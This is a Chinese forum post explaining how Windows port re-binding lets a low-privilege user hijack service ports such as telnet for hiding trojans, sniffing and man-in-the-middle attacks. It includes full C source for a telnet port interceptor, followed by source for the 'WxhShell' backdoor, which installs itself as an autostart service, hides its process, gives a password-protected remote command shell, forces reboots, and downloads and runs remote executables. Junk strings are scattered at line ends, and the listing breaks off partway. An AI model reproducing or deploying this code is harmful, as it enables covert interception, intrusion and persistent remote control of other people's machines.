社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11849阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d] b~)!VW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,s1&O`  
T-L|Q,-{-  
  saddr.sin_family = AF_INET; xoqiRtlY:  
N3uMkH-<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ioB|*D<U2  
q[{:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d&}pgb-Md  
=y)p>3p}&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zi 2o  
1%$d D2  
  这意味着什么?意味着可以进行如下的攻击: &Q\_;  
v-P8WFjca  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 89LpklD  
]]el|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Uj4Lu  
u~$WH, P3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pyUNRqp  
hnp`s%e,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XXa(305  
a{<p '_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >Y7r \  
C>*5=p|T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6-mmi7IfO  
N=OS\pz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )>(L{y|uYX  
gKmX^A5<  
  #include GE%2/z p  
  #include |0tg:\.  
  #include ./5jx2V  
  #include    7m@ )Lv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ihdu1]~R{  
  int main() Gs+\D0o!  
  { E|pk.  
  WORD wVersionRequested; VLf g[*k  
  DWORD ret; Q Oz9\,C  
  WSADATA wsaData; 6exRS]BI  
  BOOL val; oS~}TR:}  
  SOCKADDR_IN saddr; C@*%AY  
  SOCKADDR_IN scaddr; w+q?T  
  int err; %oAL  
  SOCKET s; M6J/mOVx5  
  SOCKET sc; zL9VR;q  
  int caddsize; =kd YN 5R  
  HANDLE mt; ,5/V@;i  
  DWORD tid;   sC% b~  
  wVersionRequested = MAKEWORD( 2, 2 ); }0$mn)*k  
  err = WSAStartup( wVersionRequested, &wsaData ); vT?Q^PTO  
  if ( err != 0 ) { . 3Gn ZR,L  
  printf("error!WSAStartup failed!\n"); Q(lku"U'  
  return -1; BR;QY1  
  } %m oJF1  
  saddr.sin_family = AF_INET; Iph3%RaE  
   tC2N >C[N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8O;Vl  
0eFb?Z0]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GP* +  
  saddr.sin_port = htons(23); BEln6zj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bFSlf5*H  
  { pFpZbU^  
  printf("error!socket failed!\n"); (Up'$J}  
  return -1; 9ftN8Svw  
  } ]$3+[9x'  
  val = TRUE; +L0J_.5%^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8)sg_JC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NjbwGcH%\  
  { t)ld<9)eB  
  printf("error!setsockopt failed!\n"); !(Q l)C  
  return -1; nB=0T`vQ  
  } NUMi])HkN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3@G;'|z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WE")xhV6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F<5nGx cC  
" 9qp "%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ):krJ+-/y  
  {  JX{KYU  
  ret=GetLastError(); .8]Y-  
  printf("error!bind failed!\n"); i|%5  
  return -1; Kh)F yV  
  } /KAlK5<  
  listen(s,2); ?yp0$r/  
  while(1) en>9E.?N  
  { &eIGF1ws  
  caddsize = sizeof(scaddr); m=QCG)s  
  //接受连接请求 ,>u=gA&}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VpSEVd:n  
  if(sc!=INVALID_SOCKET) CN/IH   
  { @;m$ua*|:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;`kWpM;  
  if(mt==NULL) h 'l^g%;  
  { 84'?u m  
  printf("Thread Creat Failed!\n"); O-j$vzHpdY  
  break; 1~'_K9eE  
  } |q_ !. a  
  } ('t kZt%8  
  CloseHandle(mt); >!}`%pk(  
  }  QsOhz  
  closesocket(s); -l "U"U"F  
  WSACleanup(); 0O~p7D  
  return 0;  5@ foxI  
  }   :M j_2  
  DWORD WINAPI ClientThread(LPVOID lpParam) kM!V .e[g  
  { 8%[HYgd5)  
  SOCKET ss = (SOCKET)lpParam; B;!f<"a8  
  SOCKET sc; +yWR#[`n  
  unsigned char buf[4096]; cn%2OP:L^  
  SOCKADDR_IN saddr; Sj)}qM-y#  
  long num; :tM?%=Q  
  DWORD val; b{RqwV5P  
  DWORD ret; ?U_9{}r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~GG?GB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Gy!P,a)z  
  saddr.sin_family = AF_INET; bD<qNqX$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }E;F)=E  
  saddr.sin_port = htons(23); S5_t1wqBJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6e.v&f7(  
  { [9V]On  
  printf("error!socket failed!\n"); F}U5d^!2  
  return -1; #dc1pfL!y{  
  } )p8I @E  
  val = 100; `5'2Hg+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t\r:E2 O  
  { &aPl`"j  
  ret = GetLastError(); %jEY 3q  
  return -1; dn,gZ"<  
  } $ D'^t(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WA.AFt  
  {  i-W  
  ret = GetLastError(); m&IsDAn  
  return -1; =x0No*#|'  
  } aq Mc6N`z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t)N;'v  &  
  { e"Rm_t  
  printf("error!socket connect failed!\n"); 5)'P'kVi7.  
  closesocket(sc); o2=A0ogz?  
  closesocket(ss); xNpg{cQ=  
  return -1; !gH 9ay  
  } [$a<b/4  
  while(1) 5| w&dM  
  { G#[* |+f8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M=y0PCD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }"zC >eX&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kIvvEh<L=  
  num = recv(ss,buf,4096,0); <\@ 1Zz@ms  
  if(num>0) }B q^3?,#{  
  send(sc,buf,num,0); 47UO*oLS  
  else if(num==0) f: xWu-  
  break; dvjTyX  
  num = recv(sc,buf,4096,0); *8)2iv4[  
  if(num>0) F9H~k"_ZJR  
  send(ss,buf,num,0); (][LQ6Pc  
  else if(num==0) d~*TIN8Ke~  
  break; lj2=._@R  
  } tNnyue{p  
  closesocket(ss); ;/LD)$_  
  closesocket(sc); u+D[_yd^  
  return 0 ; x*}bo))hb  
  } 4;KWG}~[o  
0JY WrPR  
<7n]Ai@Y  
========================================================== 1H{jy^sP7  
R$m`Z+/@  
下边附上一个代码,,WXhSHELL DQJG,?e{  
&mE?y%  
========================================================== I^3:YVR&  
&~-~5B|3"  
#include "stdafx.h" 1S$h<RIPAc  
2cf' ,cv@8  
#include <stdio.h> !gP0ndRJ=  
#include <string.h> Yck~xt&]  
#include <windows.h> q\$6F)ha3  
#include <winsock2.h> 9z ?7{2C  
#include <winsvc.h> K:5eek  
#include <urlmon.h> *P2[qhP2  
|n6Eg9  
#pragma comment (lib, "Ws2_32.lib") x &=9P e(  
#pragma comment (lib, "urlmon.lib") A0xC,V~z  
~kKrDLW+  
#define MAX_USER   100 // 最大客户端连接数 &L4 q10-N  
#define BUF_SOCK   200 // sock buffer J]pa4C`  
#define KEY_BUFF   255 // 输入 buffer eThy+  
ULBg {e?l8  
#define REBOOT     0   // 重启 UQT'6* !  
#define SHUTDOWN   1   // 关机 Vhg1/EgUr  
mBk5+KyT  
#define DEF_PORT   5000 // 监听端口 .ve *Vp  
+MUwP(U=w  
#define REG_LEN     16   // 注册表键长度 xxa} YIe8  
#define SVC_LEN     80   // NT服务名长度 qpqokK  
-5>NE35Cto  
// 从dll定义API .T.5TMiOSq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $.K?N@(W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IFuZ]CBz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H:S,\D?%2x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <@, $hso7:  
K7`YJp`i  
// wxhshell配置信息 P $ >`  
struct WSCFG { ?tYpc_p#  
  int ws_port;         // 监听端口 1n%8j*bJq  
  char ws_passstr[REG_LEN]; // 口令 3qM Nl>>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4]XI"-M^D  
  char ws_regname[REG_LEN]; // 注册表键名 "x*-PFT  
  char ws_svcname[REG_LEN]; // 服务名 8SmjZpQ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UG[e//m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j"7 JLe*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \4bWWy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v[S-Pi1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JlZ0n;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jO'|mGUM  
kA#vByf`v  
}; 6*XM7'n  
svhrf;3:  
// default Wxhshell configuration hW 2.8f$  
struct WSCFG wscfg={DEF_PORT, &M"ouy Zo9  
    "xuhuanlingzhe", py<_HyJ  
    1, \2X$C#8E  
    "Wxhshell", F 3RB  
    "Wxhshell", F0dI/+  
            "WxhShell Service", 3$p#;a:=n  
    "Wrsky Windows CmdShell Service", Utt>H@t[  
    "Please Input Your Password: ", i~yX tya  
  1, (#Mp 5C'X  
  "http://www.wrsky.com/wxhshell.exe", 4j'd3WGpbN  
  "Wxhshell.exe" <94G  
    }; XZph%j0o  
U;^[$Aq  
// 消息定义模块 )0CQP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H;KDZO9W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @Hjea1@t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z,Lzgh  
char *msg_ws_ext="\n\rExit."; WeT* C  
char *msg_ws_end="\n\rQuit."; M}F~_S0h  
char *msg_ws_boot="\n\rReboot..."; f_6`tq m%  
char *msg_ws_poff="\n\rShutdown..."; Nhf~PO({&  
char *msg_ws_down="\n\rSave to "; dcq#TBo8  
Q~,YbZ-7  
char *msg_ws_err="\n\rErr!"; w2"]Pl  
char *msg_ws_ok="\n\rOK!"; --k:a$Nt  
`T WN^0!]  
char ExeFile[MAX_PATH]; Dy9\O77>  
int nUser = 0; <8o(CA\  
HANDLE handles[MAX_USER]; $\\lx_)  
int OsIsNt; j, u#K)7{T  
)pgrl  
SERVICE_STATUS       serviceStatus; 45+{nN[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @h?crJ6$  
&a)vdlZSE=  
// 函数声明 Ok H\^  
int Install(void); Ex(3D[WmMW  
int Uninstall(void); \M+L3*W  
int DownloadFile(char *sURL, SOCKET wsh); xHkxc}h  
int Boot(int flag); Ka-p& Uv1<  
void HideProc(void); `~F5 wh~  
int GetOsVer(void); |:q/Dt@  
int Wxhshell(SOCKET wsl); r6.N4eW.L  
void TalkWithClient(void *cs); 4\2V9F{s  
int CmdShell(SOCKET sock); 3C^1f rF  
int StartFromService(void); ~!:0iFE&H  
int StartWxhshell(LPSTR lpCmdLine); _N#&psQzw  
vK$^y^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2V gP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l I-p_K  
,E*R,'w   
// 数据结构和表定义 le .'pP@  
SERVICE_TABLE_ENTRY DispatchTable[] = k`YYZt]@  
{ ]n v( aM?d  
{wscfg.ws_svcname, NTServiceMain}, tS?lB05TOR  
{NULL, NULL} Dz&+PES_k  
}; jPJAWXB4a  
v.g"{us  
// 自我安装 k*$3i  
int Install(void) igkz2SI  
{ M7dU@Ag  
  char svExeFile[MAX_PATH]; yI8tH!  
  HKEY key; Oh!(@  
  strcpy(svExeFile,ExeFile); iS: #o>  
P%>?[9!Nt  
// 如果是win9x系统,修改注册表设为自启动 v,1F-- v  
if(!OsIsNt) { 9]yW_]P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CjZ2z%||=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E`D%PEps+  
  RegCloseKey(key); b`~wG e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +!O- kd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H~fdbR  
  RegCloseKey(key);  .5Z_E O  
  return 0; /L~m#HxWU  
    } VXKT\9g3A  
  } Re[ :qLa]  
} ujzW|HW^v  
else {  Y7Gs7  
NGTe4Crx  
// 如果是NT以上系统,安装为系统服务 XD%wj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 46XN3r  
if (schSCManager!=0) *HlDS22  
{ ltA/  
  SC_HANDLE schService = CreateService e3(<8]`b[  
  ( \"^% 90F  
  schSCManager, ]((i?{jb(  
  wscfg.ws_svcname, `a4 $lyZ  
  wscfg.ws_svcdisp, RQ' H!(K  
  SERVICE_ALL_ACCESS, A WJWtUa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {d!Y3+I%G  
  SERVICE_AUTO_START, IgX4.]W5  
  SERVICE_ERROR_NORMAL, At9X]t  
  svExeFile, }T(z4P3  
  NULL, G\~^&BAC  
  NULL, Fdt}..H%  
  NULL, )"u:ytK{  
  NULL, V2 `> ]/|  
  NULL n9oR)&:o  
  ); b|?;h21rG  
  if (schService!=0) optBA3@e!  
  {  s>[{}7ca  
  CloseServiceHandle(schService); Spj9H?m  
  CloseServiceHandle(schSCManager); kQIw/@WC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IN!02`H  
  strcat(svExeFile,wscfg.ws_svcname); OyVm(%Z   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b X,Siz:F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }~I|t!GL  
  RegCloseKey(key); O|z%DkH[  
  return 0; |C-y}iQ:6~  
    } :5# V^\3*  
  } >BoSw&T$Q  
  CloseServiceHandle(schSCManager); ecFi (eMD  
} \< 65??P  
} H5M#q6`H6  
3H8Al  
return 1; )%j"  
} `XMM1y>V9>  
T.Zz;2I  
// 自我卸载 n0fRu`SNV  
int Uninstall(void) JAP (|  
{  WL-0(  
  HKEY key; GU6 qIz|  
;Bs^iL  
if(!OsIsNt) { "tR}j,=S:D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9k>uRV6  
  RegDeleteValue(key,wscfg.ws_regname); )I9aC~eAD  
  RegCloseKey(key); h~UJCn zS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u0]q`u/ T  
  RegDeleteValue(key,wscfg.ws_regname); =cp;Q,t'9L  
  RegCloseKey(key); #7W.s!#}Dd  
  return 0; Y5%;p33uFG  
  } }$aNOf%:  
} A*0*sZ0  
} p24.bLr  
else { r{ @ `o@q  
(%DRt4u <H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =K'L|QKF  
if (schSCManager!=0) O),I[kb  
{ vLn> 4SK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >q9{  
  if (schService!=0) 0k1MKzi Q  
  { z,+m[x=/N  
  if(DeleteService(schService)!=0) { r)B3es&&  
  CloseServiceHandle(schService);  1N.tQ^  
  CloseServiceHandle(schSCManager); !: |nI77|  
  return 0; `d`&R.'  
  } fM:80bn L+  
  CloseServiceHandle(schService); 2OCdG  
  } RKe?.  
  CloseServiceHandle(schSCManager); n\>.T[$"  
} V9{B}5KC  
} t2.juoI(  
pqfT\Kb>  
return 1; #313 (PWH  
} JtmQzr0>  
?>?ZAr  
// 从指定url下载文件 _85E=  
int DownloadFile(char *sURL, SOCKET wsh) 3yMt1 fy  
{ 2np-Fc{S  
  HRESULT hr; <^sAY P|  
char seps[]= "/"; &kx\W)  
char *token; .tp=T  
char *file; 7}07Pit  
char myURL[MAX_PATH]; NDo^B7 R-  
char myFILE[MAX_PATH]; {6tx,;r(F  
ca}S{"  
strcpy(myURL,sURL); C->[$HcRa  
  token=strtok(myURL,seps); T&*eOr  
  while(token!=NULL) UJwq n"Q^  
  { 6jtTT%>y  
    file=token; AeQC:  
  token=strtok(NULL,seps); }wL3mVz  
  } !F,s"  
!Bncx`pl  
GetCurrentDirectory(MAX_PATH,myFILE); MM*-i=  
strcat(myFILE, "\\"); ,O9`X6rh'  
strcat(myFILE, file); u]#8 $M2  
  send(wsh,myFILE,strlen(myFILE),0); O 3}P07  
send(wsh,"...",3,0); 9/H^t* 5t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x`3. Wu\  
  if(hr==S_OK) .-%oDuB5zF  
return 0; ]>*I)H)  
else d#Wn[h$"  
return 1; ;]u1~  
w6v1 q:20  
} U\;Ml  
yh$ ~*UV  
// 系统电源模块 ?a8nz, zb  
int Boot(int flag) |nfH-JytV  
{ T-!|l7V~f  
  HANDLE hToken; '%$-]~   
  TOKEN_PRIVILEGES tkp; %9.bu|`KK  
ugRV5bUk  
  if(OsIsNt) { KZ @l/s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nu(eLUU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K1 6s)S'  
    tkp.PrivilegeCount = 1; EK.c+Or,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r 3?5'S`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9Mut p4#  
if(flag==REBOOT) {  nFVbQa~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @OrXbG7&>#  
  return 0; YFAnlqC  
} 0= gF6U  
else { ua!D-0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m(h/:JZ\  
  return 0; B=^2g}mgK  
} Z#[>N,P  
  } 1=- X<M75  
  else { ap{{(y&R  
if(flag==REBOOT) { tTE3H_   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wfWS-pQ  
  return 0; vLD:(qTi  
} 0L 7@2|a0  
else { 0n7HkDo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^M"HSewo  
  return 0; b^;N>zx  
} }$w4SpR  
} ( / G)"]  
fCs\Q  
return 1; Q=MCMe  
} $o{F  
` 3vN R"  
// win9x进程隐藏模块 e(4bx5 <*  
void HideProc(void) =/M$ <+  
{ d+1L5}Jn  
+}`p"<'u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,2E`:#$  
  if ( hKernel != NULL ) Py}!C@e  
  { M55e=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %y!   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U3(L.8(sA  
    FreeLibrary(hKernel); 8rnb  
  } 5I wX\  
`*|LI  
return; H@Kl  
} zvWO4\  
dawVE O  
// 获取操作系统版本 5Q2TT $P  
int GetOsVer(void) %kaTQ"PB  
{ aEV|>K=6Y'  
  OSVERSIONINFO winfo; n">?LN-DC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bEEJVF0  
  GetVersionEx(&winfo); g%Th_=qy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (mu{~@Hw  
  return 1; 2M!+gk=+  
  else I67k M{V  
  return 0; zDKLo 3:  
} )^V5*#69D  
E5v|SFD  
// 客户端句柄模块 j&o/X7I=  
int Wxhshell(SOCKET wsl) ' |h./.K  
{ #mi0x06  
  SOCKET wsh; QYFN:XZ  
  struct sockaddr_in client; *8pe<:A#p  
  DWORD myID; 1gf/#+$\  
w}]3jc84  
  while(nUser<MAX_USER) n-L]YrDPK[  
{ K gR1El. r  
  int nSize=sizeof(client); HCfS)`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hqwz~Ky}  
  if(wsh==INVALID_SOCKET) return 1; ?w c3 +?\J  
rPrEEWS0)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iT)2 ?I6!  
if(handles[nUser]==0) mmh nw (/  
  closesocket(wsh); Q#d+IIR0gK  
else x`/m>~_  
  nUser++; vr8J*36{  
  } ,3g]= f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q(w1VcLZ  
q[Sp|C6x  
  return 0; Q{(,/}kA-  
} WVBE>TB  
64IeCAMVo  
// 关闭 socket }V93~>  
void CloseIt(SOCKET wsh) XPR:_  
{ l7=$4As/hI  
closesocket(wsh); :7 s#5b  
nUser--; ^mQ;CMV  
ExitThread(0); xKkVSEup  
} KU 8Cl>5  
; HR\R  
// 客户端请求句柄  A[wxa  
void TalkWithClient(void *cs) noB}p4  
{ K!$\REs  
y.TdWnXx  
  SOCKET wsh=(SOCKET)cs; sf|_2sI  
  char pwd[SVC_LEN]; D8<0zxc=(  
  char cmd[KEY_BUFF]; ?45K%;.9Q  
char chr[1]; T3B |r<>I  
int i,j; J$eZLj  
uBd =x<c\  
  while (nUser < MAX_USER) { oPCIlH  
P+_\}u;  
if(wscfg.ws_passstr) { L?/M2zc9Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &Pn%zfmMN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bm2}\KOI  
  //ZeroMemory(pwd,KEY_BUFF); xu\/]f)  
      i=0; Kuzy&NI^w  
  while(i<SVC_LEN) { &6~ncQWu  
&].1[&M]  
  // 设置超时 =Un6|]  
  fd_set FdRead; &<[]X@ bY  
  struct timeval TimeOut; qjdahVY  
  FD_ZERO(&FdRead); cl9;2D"Zm!  
  FD_SET(wsh,&FdRead); 5y 'ycTjY  
  TimeOut.tv_sec=8; oM? C62g\  
  TimeOut.tv_usec=0; Fg}5V,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FB^dp}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {0m[:af&  
1)c=15^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vq;{+j(  
  pwd=chr[0]; N5I W@?4  
  if(chr[0]==0xd || chr[0]==0xa) { B@~eBU,$  
  pwd=0; njx\$,ruN  
  break; O#89M%  
  } p-i]l.mT5  
  i++; rg]A_(3Bb  
    } II f >z_m  
]#Z$jq{,  
  // 如果是非法用户,关闭 socket Q& unA3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bvxxE/?Ni  
} _sD]Viqc  
mc[_> [m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pdXgr)Uv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !WVabdt  
MHzsxF|  
while(1) { c#4ZDjvm6  
k)4lX|}Vm  
  ZeroMemory(cmd,KEY_BUFF); | 2c!t$O@v  
CI3_lWax%  
      // 自动支持客户端 telnet标准   %lq7; emtp  
  j=0; 3=eGS  
  while(j<KEY_BUFF) { My43\p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xQ(KmP2hl  
  cmd[j]=chr[0]; dpOL1rrE  
  if(chr[0]==0xa || chr[0]==0xd) {  ~d<`L[  
  cmd[j]=0; iLQt9Hyk  
  break; HS7 G_  
  } r^ Rcjyc1  
  j++; =;-ju@d  
    } ?PU(<A+  
,`B>}  
  // 下载文件 j2v[-N4 {J  
  if(strstr(cmd,"http://")) { '/]Aaf@U8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d)J] Y=j  
  if(DownloadFile(cmd,wsh)) W$ d{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VL,?91qwe  
  else nr9#3 Lb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B0?@k  
  } gT\y&   
  else { {/VL\AW5$  
jwE(]u  
    switch(cmd[0]) { eNk!pI7g  
  y0y;1N'KK  
  // 帮助 ]NhWhJ:  
  case '?': { n;T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V%KW[v<G<  
    break; UBk 5O&  
  } U3R`mHr0  
  // 安装 :|6D@  
  case 'i': { d'@H@  
    if(Install()) TKs@?Q,J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ia[KLt"  
    else m_O=X8uj"D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {m*J95[   
    break; 'H-YFB$l  
    } t6>Q e  
  // 卸载 SvpTs  
  case 'r': { [Kj#KJxy  
    if(Uninstall()) F v^80M=z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sy7^;/(ZZ  
    else |Btx&'m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q~8&pP8 I!  
    break; Env}gCX  
    } w5JC2   
  // 显示 wxhshell 所在路径 gJcL{]  
  case 'p': { O5n] 4)<  
    char svExeFile[MAX_PATH]; BE@H~<E J  
    strcpy(svExeFile,"\n\r"); RBojT   
      strcat(svExeFile,ExeFile); vBQ?S2f  
        send(wsh,svExeFile,strlen(svExeFile),0); yDBgSO{d  
    break; u2Z^iY  
    } :s5<AT Q  
  // 重启 /P:WQ*  
  case 'b': { Ku\#Wj|YrP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N`GwL aF  
    if(Boot(REBOOT)) t;PnjCD<`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o_+Qer=O6  
    else { rVW'KN  
    closesocket(wsh); |4*2xDcl  
    ExitThread(0); v7I*W/  
    } -2u+m  
    break; ^RDXX+  
